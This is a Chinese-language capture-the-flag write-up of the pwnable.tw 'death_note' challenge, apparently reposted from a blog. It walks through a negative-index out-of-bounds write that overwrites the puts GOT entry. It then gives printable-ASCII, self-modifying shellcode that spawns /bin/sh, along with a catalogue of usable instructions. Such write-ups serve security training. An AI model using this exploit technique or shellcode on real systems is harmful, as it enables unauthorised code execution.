【pwnable.tw】 death_note
?
題目邏輯比較簡單,大概增加和刪除和打印三個功能:
show函數中,打印各日記內容,由于這題沒有給出libc文件,應該不需要泄露地址,估計用處不大:
delete函數中,正常的free,然后指針修改為null,可能不存在漏洞,唯一的bug在于read_int()函數中
readint函數使用了atoi函數,當輸入是“-12”這樣的負數時,造成讀越界,但是由于在delete函數中,用處不是特別大
最后,add函數
?
?函數的邏輯是在note數組中寫入malloc的返回的指針,并且同樣用了readint函數,可以發現存在越界寫的問題,而note變量在bss段上,可以想到覆寫got表:
?
?而檢查一下文件開啟的保護,沒有開啟NX保護,也就是可以寫入shellcode,這樣put@got指向malloc返回地址,malloc塊中寫入shellcode,便可以獲得shell。
而針對用戶輸入,還有一個函數用來檢測,
因此需要保證用戶輸入范圍是從2F~7F范圍內。即考察shellcode的編寫。
常見的shellcode思路是利用int 80h陷入軟中斷,
并使得eax內容為0x0b,ebx指向一個字符串"/bin/sh",ecx、edx置0。如shellcraft.sh()
/* execve(path='/bin///sh', argv=['sh'], envp=0) *//* push '/bin///sh\x00' */push 0x68push 0x732f2f2fpush 0x6e69622fmov ebx, esp/* push argument array ['sh\x00'] *//* push 'sh\x00\x00' */push 0x1010101xor dword ptr [esp], 0x1016972xor ecx, ecxpush ecx /* null terminate */push 4pop ecxadd ecx, esppush ecx /* 'sh\x00' */mov ecx, espxor edx, edx/* call execve() */push SYS_execve /* 0xb */pop eaxint 0x80但在匯編以后,不能滿足我們的要求。
根據某大牛博客中寫到,此題可用的匯編指令如下:
1.數據傳送: push/pop eax… pusha/popa2.算術運算: inc/dec eax… sub al, 立即數 sub byte ptr [eax… + 立即數], al dl… sub byte ptr [eax… + 立即數], ah dh… sub dword ptr [eax… + 立即數], esi edi sub word ptr [eax… + 立即數], si di sub al dl…, byte ptr [eax… + 立即數] sub ah dh…, byte ptr [eax… + 立即數] sub esi edi, dword ptr [eax… + 立即數] sub si di, word ptr [eax… + 立即數]3.邏輯運算: and al, 立即數 and dword ptr [eax… + 立即數], esi edi and word ptr [eax… + 立即數], si di and ah dh…, byte ptr [ecx edx… + 立即數] and esi edi, dword ptr [eax… + 立即數] and si di, word ptr [eax… + 立即數]xor al, 立即數 xor byte ptr [eax… + 立即數], al dl… xor byte ptr [eax… + 立即數], ah dh… xor dword ptr [eax… + 立即數], esi edi xor word ptr [eax… + 立即數], si di xor al dl…, byte ptr [eax… + 立即數] xor ah dh…, byte ptr [eax… + 立即數] xor esi edi, dword ptr [eax… + 立即數] xor si di, word ptr [eax… + 立即數]4.比較指令: cmp al, 立即數 cmp byte ptr [eax… + 立即數], al dl… cmp byte ptr [eax… + 立即數], ah dh… cmp dword ptr [eax… + 立即數], esi edi cmp word ptr [eax… + 立即數], si di cmp al dl…, byte ptr [eax… + 立即數] cmp ah dh…, byte ptr [eax… + 立即數] cmp esi edi, dword ptr [eax… + 立即數] cmp si di, word ptr [eax… + 立即數]5.轉移指令: push 56h pop eax cmp al, 43h jnz lable<=> jmp lable6.交換al, ah push eax xor ah, byte ptr [esp] // ah ^= al xor byte ptr [esp], ah // al ^= ah xor ah, byte ptr [esp] // ah ^= al pop eax7.清零: push 44h pop eax sub al, 44h ; eax = 0push esi push esp pop eax xor [eax], esi ; esi = 0可以先看一下,執行shellcode時的寄存器狀況:
根據如上的寄存器情況,shellcode可以寫成這樣:
shellcode = '''/* execve(path='/bin///sh', argv=0, envp=0) *//* push '/bin///sh\x00' */push 0x68push 0x732f2f2fpush 0x6e69622fpush esppop ebx/*rewrite shellcode to get 'int 80'*/push edxpop eaxpush 0x60606060pop edxsub byte ptr[eax + 0x35] , dlsub byte ptr[eax + 0x35] , dlsub byte ptr[eax + 0x34] , dlpush 0x3e3e3e3epop edxsub byte ptr[eax + 0x34] , dl/*set zero to edx*/push ecxpop edx/*set 0x0b to eax*/push edxpop eaxxor al, 0x40xor al, 0x4b /*foo order,for holding the place*/push edxpop edxpush edxpop edx ''' shellcode = asm(shellcode) + '\x6b\x40'?
轉載于:https://www.cnblogs.com/p4nda/p/7611275.html
總結
以上是生活随笔為你收集整理的【pwnable.tw】 death_note的全部內容,希望文章能夠幫你解決所遇到的問題。